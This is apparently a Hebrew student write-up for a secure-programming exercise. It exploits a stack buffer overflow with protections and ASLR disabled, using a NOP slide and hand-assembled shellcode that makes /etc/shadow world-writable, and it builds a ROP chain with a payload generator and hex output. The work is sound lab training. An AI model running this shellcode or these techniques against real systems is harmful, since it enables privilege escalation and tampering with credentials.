בס"ד

תרגיל בתכנות בטוח – אורי דאבוש 212945760

סעיף 1:

ראשית, נקמפל את הקוד בעזרת שורת הפקודה הבאה שמבטלת את ההגנות הדיפולטיביות:

```
gcc -o ex1.out ex1.c -fno-stack-protector -z execstack -g -m32
```

בנוסף, נבטל את ה-ASLR ע"י הפקודה

```
sysctl -w kernel.randomize_va_space=0
```

וניתן הרשאות לקובץ הריצה ex1.out בעזרת הפקודה

```
sudo chown root ex1.out && sudo chmod +s ex1.out
```

כעת, ניתן להריץ את הקוד.

ידוע לנו שהבאפר באורך 500. נרצה לבדוק קודם כל מתי אנחנו דורסים את כתובת החזרה, כלומר באיזה אורך הקלט שלנו צריך להיות.

נתחיל להריץ את התוכנית עם קלט באורך 500, ונגדיל אותו לאט לאט עד שנקבל segmentation fault, כלומר נדרוס את כתובת החזרה. לאחר כמה ניסיונות, נקבל שכשהקלט באורך 512 אנחנו מקבלים segmentation fault, ולכן אורך הקלט שלנו צריך להיות לפחות 512.

נשים לב שלאחר קצת דיבוג ניתן לראות שארבעת הבתים במקומות ה-513-516 דורסים את המקום במחסנית ששומר את המיקום הקודם של ebp, ולכן לאחר סיום פונקציית ה-main הערך הזה נכנס ל-esp. דרך הפעולה שלנו תהיה כזו:

1. נדרוס את הכתובת המתוארת לעיל עם כתובת במיקום שרירותי (אך לא רחוק יותר מדי מסוף המחסנית) – למשל הכתובת 0xffff7604. נשים לב שהכתובת הזו פחות 4 היא הכתובת שממנה יילקח eip לאחר סיום הפונקציה, כלומר לאחר סיום הפונקציה ההוראה הבאה שתרוץ היא ההוראה בכתובת 0xffff7600.
2. בבאפר שלנו נכניס הרבה פעמים כתובת שבסיכוי גבוה תימצא בתוך ה-nop slide כדי שהיא תיכנס ל-eip.
3. eip יידרס ויתחיל לבצע את ה-nopים עד שיגיע ל-shellcode שלנו.

הקלט יהיה משהו מהצורה הבאה (נכתב בפייתון אך זה לא סקריפט אלא שורת קוד שכתבתי כדי להקל על יצירת ה-payload):

```
b'A' * 512 + struct.pack("I", 0xffff7600 + 4) + struct.pack("I", 0xffffa884 ) *
20000 + b'\x90' * 20000 + shellcode
```

כעת בסיכוי גבוה אחת מ-20000 הכתובות שהכנסנו לבאפר תימצא בכתובת 0xffff7600. כמו כן, בסיכוי גבוה הכתובת 0xffffa884 תהיה באמצע ה-nop slide וכך eip יידרס ויבצע הוראות מה-nop slide ועד ל-shellcode.

הכתובות הללו נלקחו מתוך צפייה באיך המחסנית מתנהגת כתלות באורך הקלט של התוכנית, ובגלל שהעתקנו את הכתובות ואת ה-nop slide הרבה פעמים כמעט בכל מצב ניפול במקום הנכון, גם אם הכתובות במחסנית ישתנו.

ההסתברות ליפול בכתובות הללו גבוהה, אך לא 1. כדי להגדיל את ההסתברות ליפול במקום הנכון ניתן להגדיל את גודל ה-nop slide ואת כמות הפעמים שמכניסים את הכתובת בארגומנט.

בס"ד

כעת ניגש לכתוב את ה-shellcode שלנו. במקרה הזה השתמשתי ב-shellcode הבא שמשנה הרשאות גישה לקובץ, כששם הקובץ נמצא ב-data segment מיד לאחר הקוד ויועבר מיד לאחר ה-shellcode. הקוד משתמש ב-jmp ו-call כדי להשיג את הכתובת של המחרוזת הזו (שמייצגת את שם הקובץ) בזמן ריצה.

```
0:  eb 17                   jmp    0x19
2:  5e                      pop    esi
3:  31 c9                   xor    ecx,ecx
5:  88 4e 0b                mov    BYTE PTR [esi+0xb],cl
8:  8d 1e                   lea    ebx,[esi]
a:  66 b9 b6 01             mov    cx,0x1b6
e:  31 c0                   xor    eax,eax
10: b0 0f                   mov    al,0xf
12: cd 80                   int    0x80
14: 31 c0                   xor    eax,eax
16: 40                      inc    eax
17: cd 80                   int    0x80
19: e8 e4 ff ff ff          call   0x2
```

נסדר את ה-shellcode במחרוזת עם שם הקובץ ונקבל:

```
"\xEB\x17\x5E\x31\xC9\x88\x4E\x0B\x8D\x1E\x66\xB9\xB6\x01\x31\xC0\xB0\x0F\xCD
\x80\x31\xC0\x40\xCD\x80\xE8\xE4\xFF\xFF\xFF/etc/shadow"
```

וזהו! נריץ את התוכנית עם הקלט שלנו, ונקבל שלקובץ /etc/shadow יש הרשאות כתיבת וקריאה!

```
-rw-rw-rw- 1 root shadow 978 Apr  9  2021 /etc/shadow
```

בס"ד

סעיף 2:

בסעיף 2 קיבלנו קוד שמקבל מחרוזת בבסיס 16 וכותב כל 2 תווים צמודים כבייט לבאפר. לא נעשית בדיקה על גבולות הבאפר, ולכן ניתן לחרוג מהגבולות ולהשתמש ב-buffer overflow. במקרה הזה, ניתנו לנו כמה גאדג'טים והתבקשנו לגרום לתוכנית להדפיס את תעודת הזהות שלנו.

הגאדג'טים שיש לנו הם הבאים:

gadget 1 - pop eax

gadget 2 - pop ecx

gadget 3 - mov [eax], ecx

בנוסף קיים באפר גלובלי, שנשתמש בו כדי לאחסן את המחרוזת שנרצה להדפיס כיוון שהכתובת שלו קבועה (בניגוד לכתובות שעל המחסנית). רצה לבצע את הפעולות בסדר הבא:

1. דריסת הערך הקודם של eip על מנת לשנות את כתובת החזרה
2. קריאה לשלושת הגאדג'טים לפי הסדר, כך שב-ecx יהיו 4 תווים מהמחרוזת של תעודת הזהות, ב-eax תהיה כתובת הבאפר הגלובלי, והגאדג'ט השלישי יכתוב את 4 התווים לבאפר הגלובלי.
3. ביצוע שלב 2 פעמיים נוספות כדי לכתוב את כל תעודת הזהות לבאפר הגלובלי (בהיסטים המתאימים).
4. קריאה ל-printf כשהפרמטר הוא כתובת הבאפר.
5. קריאה ל-exit.

כדי לבצע את השלבים הנ"ל נצטרך להכניס את הערכים במחשבה. כתבתי סקריפט שמפשט את השלבים, אצרף אותו פה:

```
padding = '41414141424242424343434344444444'  # AAAABBBBCCCCDDDD
printf = '00084600'  # address of printf function (little endian)
exit = '50474C00'  # address of exit function (little endian)
string_addr = '38ef5300'  # address of g_buffer (little endian)
string_addr_4 = '3cef5300'  # address of g_buffer+4 (little endian)
string_addr_8 = '40ef5300'  # address of g_buffer+8 (little endian)

g1 = 'A9054600'  # address of gadget 1 - pop eax
g2 = 'AB054600'  # address of gadget 2 - pop ecx
g3 = 'AD054600'  # address of gadget 3 - mov [eax], ecx

id = '212945760'  # my id
id_1 = '32313239'  # ascii value of 2129 in hex
id_2 = '34353736'  # ascii value of 4576 in hex
id_3 = '30000000'  # ascii value of 0 in hex (and 3 null bytes)

payload = padding +         \
    g1 + string_addr +      \
    g2 + id_1 +             \
    g3 +                    \
    g1 + string_addr_4 +    \
    g2 + id_2 +             \
```

```
    g3 +                    \
    g1 + string_addr_8 +    \
    g2 + id_3 +             \
    g3 +                    \
    printf +                \
    exit +                  \
    string_addr

print(payload)
```

כעת אפרט כל חלק בו:

- Padding – תווים שימלאו את תאי הזיכרון עד לכתובת החזרה
- הכתובת של הגאדג'ט הראשון ואחריו הכתובת של הבאפר הגלובלי – הכתובת של הגאדג'ט תדרוס את כתובת החזרה והוא יקרא לאחר סיום הפונקציה unhexlify. הגאדג'ט, שעושה pop ל-eax, יכניס אליו את כתובת הבאפר שממוקמת אחריו במחסנית.
- הכתובת של הגאדג'ט השני ואחריו 4 התווים הראשון בת"ז שלי.
- הכתובת של הגאדג'ט השלישי.
- פעמיים נוספות הגאדג'טים עם הכתובות והפרמטרים המתאימים.
- הפונקציה printf שתיקרא לאחר סיום הגאדג'ט השלישי בפעם השלישית – הפרמטר שלה צריך להיות בדיוק 8 מקומות מעל במחסנית כי שם היא מצפה לקבל את הפרמטר הראשון שלה.
- הפונקציה exit שתיקרא לאחר סיום הפונקציה printf (כיוון שהכתובת ממוקמת איפה ש-printf מחפשת את כתובת החזרה שלה).

כך לאחר הרצת הקוד עם הפלט של הסקריפט (מצורף כאן ובקובץ 2.bin) הודפסה תעודת הזהות שלי והתוכנית הסתיימה.

414141414242424243434344444444A905460038ef5300AB05460032313239AD054600A90546003cef5300AB05460034353736AD054600A905460040ef5300AB05460030000000AD0546000008460050474C0038ef5300